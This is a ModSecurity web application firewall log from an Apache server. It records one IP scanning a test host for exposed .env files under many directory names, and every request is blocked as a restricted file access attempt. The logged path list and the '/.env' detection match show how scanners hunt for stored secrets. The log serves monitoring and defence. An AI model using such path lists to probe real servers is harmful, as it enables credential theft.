[Thu Feb 26 01:03:14.862311 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7wAAAAE&quot;]
[Thu Feb 26 01:03:14.862486 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rasax/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh7wAAAAE&quot;]
[Thu Feb 26 01:03:14.884081 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8AAAAAE&quot;]
[Thu Feb 26 01:03:14.884320 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8AAAAAE&quot;]
[Thu Feb 26 01:03:14.884465 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8AAAAAE&quot;]
[Thu Feb 26 01:03:14.886667 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizHAAAAAA&quot;]
[Thu Feb 26 01:03:14.886915 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizHAAAAAA&quot;]
[Thu Feb 26 01:03:14.887060 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public_root/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizHAAAAAA&quot;]
[Thu Feb 26 01:03:14.919270 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /react_todo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8QAAAAE&quot;]
[Thu Feb 26 01:03:14.919502 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8QAAAAE&quot;]
[Thu Feb 26 01:03:14.919651 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/react_todo/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8QAAAAE&quot;]
[Thu Feb 26 01:03:14.963408 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /redmine/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8gAAAAE&quot;]
[Thu Feb 26 01:03:14.963640 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8gAAAAE&quot;]
[Thu Feb 26 01:03:14.963789 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/redmine/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8gAAAAE&quot;]
[Thu Feb 26 01:03:14.985746 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /question2/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizHwAAAAA&quot;]
[Thu Feb 26 01:03:14.985995 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizHwAAAAA&quot;]
[Thu Feb 26 01:03:14.986142 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/question2/.env&quot;] [unique_id &quot;aZ-NwiSJSniLip0oFXizHwAAAAA&quot;]
[Thu Feb 26 01:03:14.986879 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8wAAAAE&quot;]
[Thu Feb 26 01:03:14.987105 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8wAAAAE&quot;]
[Thu Feb 26 01:03:14.987257 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repo/.env&quot;] [unique_id &quot;aZ-NwjAL5Lg_nL66HcLh8wAAAAE&quot;]
[Thu Feb 26 01:03:15.010962 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /qv-frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIAAAAAA&quot;]
[Thu Feb 26 01:03:15.011183 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIAAAAAA&quot;]
[Thu Feb 26 01:03:15.011330 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/qv-frontend/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIAAAAAA&quot;]
[Thu Feb 26 01:03:15.040015 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repos/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9AAAAAE&quot;]
[Thu Feb 26 01:03:15.040244 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9AAAAAE&quot;]
[Thu Feb 26 01:03:15.040403 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repos/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9AAAAAE&quot;]
[Thu Feb 26 01:03:15.049104 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rabbitmq-cluster/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIQAAAAA&quot;]
[Thu Feb 26 01:03:15.049322 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIQAAAAA&quot;]
[Thu Feb 26 01:03:15.049474 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rabbitmq-cluster/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIQAAAAA&quot;]
[Thu Feb 26 01:03:15.068949 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /repository/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9QAAAAE&quot;]
[Thu Feb 26 01:03:15.069212 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9QAAAAE&quot;]
[Thu Feb 26 01:03:15.069393 2026] [:error] [pid 2330789] [client 185.177.72.22:15522] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/repository/.env&quot;] [unique_id &quot;aZ-NwzAL5Lg_nL66HcLh9QAAAAE&quot;]
[Thu Feb 26 01:03:15.084879 2026] [:error] [pid 2330788] [client 185.177.72.22:15538] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /rails-api/react-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/rails-api/react-app/.env&quot;] [unique_id &quot;aZ-NwySJSniLip0oFXizIgAAAAA&quot;]
